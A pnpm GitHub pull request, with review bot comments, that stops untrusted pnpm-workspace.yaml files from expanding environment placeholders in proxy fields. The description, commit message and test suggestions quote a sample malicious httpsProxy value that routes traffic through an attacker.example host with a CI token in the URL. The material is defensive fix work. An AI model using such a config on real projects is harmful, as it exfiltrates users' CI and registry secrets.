Skip to content

fix(config): do not expand env vars in proxy fields from pnpm-workspace.yaml - #12871

Merged
zkochan merged 2 commits into
mainfrom
fix/proxy-fields-env-expansion
Jul 9, 2026
Merged

zkochan merged 2 commits into
mainfrom
fix/proxy-fields-env-expansion

Conversation

@zkochan

@zkochan zkochan commented Jul 9, 2026 •

Copy link
Copy Markdown
Member

Summary

Project-level pnpm-workspace.yaml is repository-controlled and therefore untrusted, so getOptionsFromPnpmSettings refuses to expand ${...} environment-variable placeholders in request-destination fields. That guard only covered registry, namedRegistries, and pnprServer — the httpProxy, httpsProxy, and noProxy fields were missing.

Because those proxy fields still expanded placeholders, a malicious repository could set:

# pnpm-workspace.yaml
httpsProxy: "http://attacker.example/${CI_JOB_TOKEN}/"

A victim running pnpm install would then tunnel every registry request through the attacker's host with the secret embedded in the URL path, leaking install-time secrets (CI tokens, npm tokens, OIDC values) into the attacker's access logs — before any lifecycle script runs. The .npmrc channel already blocked this; the pnpm-workspace.yaml channel did not.

This PR adds httpProxy, httpsProxy, and noProxy to REQUEST_DESTINATION_SCALAR_KEYS so they get the same protection, and extends the existing workspace-yaml request-destination test to cover them.

Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6.

Note: that advisory also describes a second, unrelated flaw (NET-1 — the Authorization header being replayed across a same-host HTTPS→HTTP redirect downgrade in @pnpm/network.fetch). That is a distinct issue in a different file and is not addressed by this PR.

Squash Commit Body

Project-level pnpm-workspace.yaml is repository-controlled and therefore
untrusted, so getOptionsFromPnpmSettings refuses to expand ${...}
environment-variable placeholders in request-destination fields. The guarded
set only covered registry, namedRegistries, and pnprServer; the httpProxy,
httpsProxy, and noProxy fields were missing, so a malicious repository could
route requests through an attacker-controlled proxy whose URL embedded a
secret and exfiltrate install-time secrets before any lifecycle script runs.

Add httpProxy, httpsProxy, and noProxy to REQUEST_DESTINATION_SCALAR_KEYS so
they receive the same protection already applied to the registry channel, and
extend the workspace-yaml request-destination test to cover them.

Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6.

Checklist

  • The change is implemented in both the TypeScript CLI and the Rust pacquet/ port, or the description notes what still needs porting. — pacquet has not ported the pnpm-workspace.yaml env-expansion logic (no REQUEST_DESTINATION equivalent), so there is nothing to mirror on the Rust side.
  • Added a changeset (pnpm changeset) if this PR changes any published package.
  • Added or updated tests.

Written by an agent (Claude Code, claude-opus-4-8).

Summary by CodeRabbit

  • Bug Fixes

    • Proxy-related request destination settings from workspace configuration no longer expand ${...} environment-variable placeholders during install.
    • Applies to httpProxy, httpsProxy, noProxy, proxy, and noproxy, consistent with existing protections for other request settings.
  • Chores

    • Added a changeset to publish the patch release for the affected packages.
  • Tests

    • Expanded workspace configuration fixtures and assertions to confirm proxy values remain unset/unexpanded.

Copilot AI review requested due to automatic review settings July 9, 2026 09:07

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot was unable to review this pull request because the user who requested the review has reached their quota limit.

@qodo-code-review

Copy link
Copy Markdown

PR Summary by Qodo

Fix env-var expansion in pnpm-workspace.yaml proxy settings

🐞 Bug fix 🧪 Tests 🕐 10-20 Minutes

Grey Divider

AI Description

• Block ${...} expansion for httpProxy/httpsProxy/noProxy when sourced from pnpm-workspace.yaml.
• Treat proxy fields as untrusted request-destination inputs like registry/pnprServer.
• Extend config-reader test to ensure secrets are not interpolated from workspace YAML.
Diagram

graph TD
  A["pnpm-workspace.yaml (untrusted)"] --> B["getOptionsFromPnpmSettings"] --> C["replaceEnvInSettings"] --> D["Config object"]
  E{{"process.env"}} --> C
Loading
High-Level Assessment

The change follows the existing security model: treat repository-controlled pnpm-workspace.yaml as untrusted and refuse env interpolation for request-destination fields. Alternatives like partially sanitizing URLs or warning-and-keeping values add complexity and can be bypass-prone; consistently dropping these keys when placeholders are present is the safest and most predictable approach.

Files changed (3) +13 / -1

Bug fix (1) +1 / -1
getOptionsFromRootManifest.tsTreat proxy settings as guarded request-destination scalar keys +1/-1

Treat proxy settings as guarded request-destination scalar keys

• Extends REQUEST_DESTINATION_SCALAR_KEYS to include httpProxy, httpsProxy, and noProxy so replaceEnvInSettings will skip env interpolation for these fields when expandRequestDestinationEnv is disabled (the untrusted workspace-yaml path).

pnpm11/config/reader/src/getOptionsFromRootManifest.ts

Tests (1) +6 / -0
index.tsTest that workspace-yaml proxy fields do not expand env placeholders +6/-0

Test that workspace-yaml proxy fields do not expand env placeholders

• Enhances the existing pnpm-workspace.yaml request-destination test to include proxy settings containing ${PNPM_TEST_TOKEN} and asserts those fields are dropped (undefined) and secrets do not appear in the resulting config.

pnpm11/config/reader/test/index.ts

Other (1) +6 / -0
proxy-fields-env-expansion.mdAdd patch changeset documenting proxy env-expansion hardening +6/-0

Add patch changeset documenting proxy env-expansion hardening

• Introduces a changeset for @pnpm/config.reader and pnpm describing the security fix: proxy fields from pnpm-workspace.yaml no longer expand ${...} placeholders to prevent secret exfiltration via attacker-controlled proxies.

.changeset/proxy-fields-env-expansion.md

@coderabbitai

coderabbitai Bot commented Jul 9, 2026 •

Copy link
Copy Markdown
Contributor

Review Change Stack

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: 38d43768-9f66-40ba-9c90-9976aaaa7bc8

📥 Commits

Reviewing files that changed from the base of the PR and between a4a05a8 and 49476f4.

📒 Files selected for processing (3)
  • .changeset/proxy-fields-env-expansion.md
  • pnpm11/config/reader/src/getOptionsFromRootManifest.ts
  • pnpm11/config/reader/test/index.ts
✅ Files skipped from review due to trivial changes (1)
  • .changeset/proxy-fields-env-expansion.md
🚧 Files skipped from review as they are similar to previous changes (2)
  • pnpm11/config/reader/src/getOptionsFromRootManifest.ts
  • pnpm11/config/reader/test/index.ts

📝 Walkthrough

Walkthrough

The change broadens REQUEST_DESTINATION_SCALAR_KEYS in getOptionsFromRootManifest.ts to include proxy-related fields, preventing ${...} placeholder expansion for them when read from pnpm-workspace.yaml. Tests and a changeset were updated.

Changes

Proxy field env expansion fix

Layer / File(s) Summary
Extend scalar key set to proxy fields
pnpm11/config/reader/src/getOptionsFromRootManifest.ts
REQUEST_DESTINATION_SCALAR_KEYS now includes httpProxy, httpsProxy, noProxy, proxy, and noproxy, so replaceEnvInSettings skips env-placeholder expansion for these keys when expandRequestDestinationEnv is disabled.
Test coverage and changeset
pnpm11/config/reader/test/index.ts, .changeset/proxy-fields-env-expansion.md
The workspace fixture now uses ${PNPM_TEST_TOKEN} in proxy-related fields, the test asserts httpsProxy, httpProxy, and noProxy are undefined, and a changeset documents the patch release.

Estimated code review effort: 1 (Trivial) | ~5 minutes

Possibly related PRs

  • pnpm/pnpm#12291: Adjusts the same request-destination env-placeholder handling path in config/reader.
  • pnpm/pnpm#12679: Changes related expandRequestDestinationEnv behavior for the same expansion-skipping logic.

Suggested labels: product: pnpm@11

✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/proxy-fields-env-expansion

Warning

There were issues while running some tools. Please review the errors and either fix the tool's configuration or disable the tool if it's a critical failure.

🔧 ESLint

If the error stems from missing dependencies, add them to the package.json file. For unrecoverable errors (e.g., due to private dependencies), disable the tool in the CodeRabbit configuration.

ESLint install failed. For unrecoverable errors, disable the tool in CodeRabbit configuration.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

…ce.yaml

Project-level `pnpm-workspace.yaml` is repository-controlled and therefore
untrusted, so `getOptionsFromPnpmSettings` refuses to expand `${...}`
environment-variable placeholders in request-destination fields. The guarded
set only covered `registry`, `namedRegistries`, and `pnprServer`; the
`httpProxy`, `httpsProxy`, and `noProxy` fields were missing.

Because those proxy fields still expanded placeholders, a malicious repository
could set e.g. `httpsProxy: "http://attacker.example/${CI_JOB_TOKEN}/"`, and a
victim running `pnpm install` would tunnel every registry request through the
attacker's host with the secret embedded in the URL, leaking it into the
attacker's access logs before any lifecycle script runs. The `.npmrc` channel
already blocked this; the workspace-yaml channel did not.

Add `httpProxy`, `httpsProxy`, and `noProxy` to REQUEST_DESTINATION_SCALAR_KEYS
so they receive the same protection, and extend the workspace-yaml
request-destination test to cover them.

Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
@zkochan
zkochan force-pushed the fix/proxy-fields-env-expansion branch from 66e2433 to a4a05a8 Compare July 9, 2026 09:10
@qodo-code-review

qodo-code-review Bot commented Jul 9, 2026 •

Copy link
Copy Markdown

PR Code Suggestions ✨

Warning

/improve is deprecated. Use /agentic_review instead (removal date not yet scheduled).

CategorySuggestion                                                                                                                                    Impact
General
Cover proxy alias assertions

Add explicit toBeUndefined assertions for config.proxy and config.noproxy.

pnpm11/config/reader/test/index.ts [964-967]

 expect(config.httpsProxy).toBeUndefined()
 expect(config.httpProxy).toBeUndefined()
 expect(config.noProxy).toBeUndefined()
+expect(config.proxy).toBeUndefined()
+expect(config.noproxy).toBeUndefined()
 expect(JSON.stringify(config)).not.toContain('secret')
  • Apply / Chat
Suggestion importance[1-10]: 7

__

Why: Adding explicit assertions for proxy and noproxy ensures all newly added fields in the test fixture are properly verified, preventing potential regressions where the unexpanded template values are retained.

Medium
  • More

@qodo-code-review

qodo-code-review Bot commented Jul 9, 2026 •

Copy link
Copy Markdown

Code Review by Qodo

🐞 Bugs (0) 📘 Rule violations (0) 📜 Skill insights (0)

Context used
✅ Compliance rules (platform): 18 rules

Grey Divider


Action required

1. Proxy alias env expansion ✓ Resolved 🐞 Bug ⛨ Security
Description
Untrusted pnpm-workspace.yaml can still expand ${...} into outbound proxy settings via legacy keys
proxy and noproxy, because only httpProxy/httpsProxy/noProxy were added to
REQUEST_DESTINATION_SCALAR_KEYS. getConfig falls back httpsProxy <- proxy and `noProxy <-
noproxy`, so secrets can still be exfiltrated through attacker-controlled proxies despite this fix.
Code

pnpm11/config/reader/src/getOptionsFromRootManifest.ts[38]

+const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['pnprServer', 'registry', 'httpProxy', 'httpsProxy', 'noProxy'])
Evidence
Workspace settings are processed by getOptionsFromPnpmSettings with expandRequestDestinationEnv
defaulting to false, and replaceEnvInSettings expands env placeholders for any string key not
present in REQUEST_DESTINATION_SCALAR_KEYS. addSettingsFromWorkspaceManifestToConfig writes any
camelCase key from pnpm-workspace.yaml into pnpmConfig (including proxy/noproxy), and getConfig
later uses proxy and noproxy as fallbacks to set httpsProxy and noProxy, respectively—so
${...} in those alias keys can still be expanded into effective proxy settings.

pnpm11/config/reader/src/getOptionsFromRootManifest.ts[38-116]
pnpm11/config/reader/src/index.ts[1040-1060]
pnpm11/text/naming-cases/src/index.ts[15-17]
pnpm11/config/reader/src/index.ts[661-670]
pnpm11/config/reader/src/Config.ts[309-312]
pnpm11/config/reader/test/index.ts[934-966]

Agent prompt
The issue below was found during a code review. Follow the provided context and guidance below and implement a solution

## Issue description
The env-placeholder suppression for untrusted `pnpm-workspace.yaml` request-destination settings is bypassable via legacy alias keys:
- `proxy` (later used as a fallback for `httpsProxy`)
- `noproxy` (later used as a fallback for `noProxy`)

Because these keys are not in `REQUEST_DESTINATION_SCALAR_KEYS`, `replaceEnvInSettings()` will expand `${...}` in their *values* even when `expandRequestDestinationEnv` is false. `getConfig()` then maps them into effective proxy settings, reintroducing the secret-exfiltration path.

## Issue Context
This PR added `httpProxy`, `httpsProxy`, and `noProxy` to `REQUEST_DESTINATION_SCALAR_KEYS`, but the runtime config still supports legacy/alias keys (`proxy`, `noproxy`) and uses them as fallbacks.

## Fix Focus Areas
- pnpm11/config/reader/src/getOptionsFromRootManifest.ts[38-107]
- pnpm11/config/reader/test/index.ts[934-966]

## Suggested fix
1. Add `proxy` and `noproxy` to `REQUEST_DESTINATION_SCALAR_KEYS` (or otherwise treat them as request-destination scalar keys under the same untrusted-config rules).
2. Extend the existing `pnpm-workspace.yaml request destinations do not expand env variables` test to include:
  - `proxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/'`
  - `noproxy: '${PNPM_TEST_TOKEN}.example.com'`
  And assert they do not appear in final config and do not cause `httpsProxy`/`noProxy` to be derived from expanded secrets.

ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools


Grey Divider

Qodo Logo

@qodo-code-review

qodo-code-review Bot commented Jul 9, 2026 •

Copy link
Copy Markdown

PR Code Suggestions ✨

Warning

/improve is deprecated. Use /agentic_review instead (removal date not yet scheduled).

CategorySuggestion                                                                                                                                    Impact
General
Cover proxy alias assertions

Add explicit toBeUndefined assertions for config.proxy and config.noproxy.

pnpm11/config/reader/test/index.ts [964-967]

 expect(config.httpsProxy).toBeUndefined()
 expect(config.httpProxy).toBeUndefined()
 expect(config.noProxy).toBeUndefined()
+expect(config.proxy).toBeUndefined()
+expect(config.noproxy).toBeUndefined()
 expect(JSON.stringify(config)).not.toContain('secret')
  • Apply / Chat
Suggestion importance[1-10]: 7

__

Why: Adding explicit assertions for proxy and noproxy ensures all newly added fields in the test fixture are properly verified, preventing potential regressions where the unexpanded template values are retained.

Medium
  • More

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.changeset/proxy-fields-env-expansion.md:
- Line 6: Trim the changeset text so it states only the behavior change: that
`httpProxy`, `httpsProxy`, and `noProxy` from `pnpm-workspace.yaml` are no
longer expanded for `${...}` placeholders, matching the protection already used
for `registry`, `namedRegistries`, and `pnprServer`. Remove the security
rationale and any explanatory detail from the entry, and keep the wording
concise and factual.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro Plus

Run ID: f7edd7ba-5649-4ad9-9849-dcf4117f08ee

📥 Commits

Reviewing files that changed from the base of the PR and between 508b8c2 and a4a05a8.

📒 Files selected for processing (3)
  • .changeset/proxy-fields-env-expansion.md
  • pnpm11/config/reader/src/getOptionsFromRootManifest.ts
  • pnpm11/config/reader/test/index.ts

Add the legacy `proxy` and `noproxy` alias keys to
REQUEST_DESTINATION_SCALAR_KEYS. `getConfig` falls back
`httpsProxy <- proxy` and `noProxy <- noproxy`, so leaving the aliases
unguarded let an untrusted `pnpm-workspace.yaml` re-open the same
env-placeholder exfiltration path the previous commit closed for the
canonical proxy fields.

Extend the workspace-yaml request-destination test to cover the aliases,
and trim the changeset to state only the behavior change.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Copilot AI review requested due to automatic review settings July 9, 2026 09:33

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Copilot was unable to review this pull request because the user who requested the review has reached their quota limit.

@github-actions github-actions Bot added the reviewed: coderabbit CodeRabbit submitted an approving review label Jul 9, 2026
@qodo-code-review

Copy link
Copy Markdown

Code review by qodo was updated up to the latest commit 49476f4

@qodo-code-review

Copy link
Copy Markdown

PR Code Suggestions ✨

Warning

/improve is deprecated. Use /agentic_review instead (removal date not yet scheduled).

CategorySuggestion                                                                                                                                    Impact
General
Cover proxy alias assertions

Add explicit toBeUndefined assertions for config.proxy and config.noproxy.

pnpm11/config/reader/test/index.ts [964-967]

 expect(config.httpsProxy).toBeUndefined()
 expect(config.httpProxy).toBeUndefined()
 expect(config.noProxy).toBeUndefined()
+expect(config.proxy).toBeUndefined()
+expect(config.noproxy).toBeUndefined()
 expect(JSON.stringify(config)).not.toContain('secret')
  • Apply / Chat
Suggestion importance[1-10]: 7

__

Why: Adding explicit assertions for proxy and noproxy ensures all newly added fields in the test fixture are properly verified, preventing potential regressions where the unexpanded template values are retained.

Medium
  • More

@zkochan
zkochan merged commit 5a4daec into main Jul 9, 2026
28 checks passed
@zkochan
zkochan deleted the fix/proxy-fields-env-expansion branch July 9, 2026 09:59
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

product: pnpm@11 reviewed: coderabbit CodeRabbit submitted an approving review

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants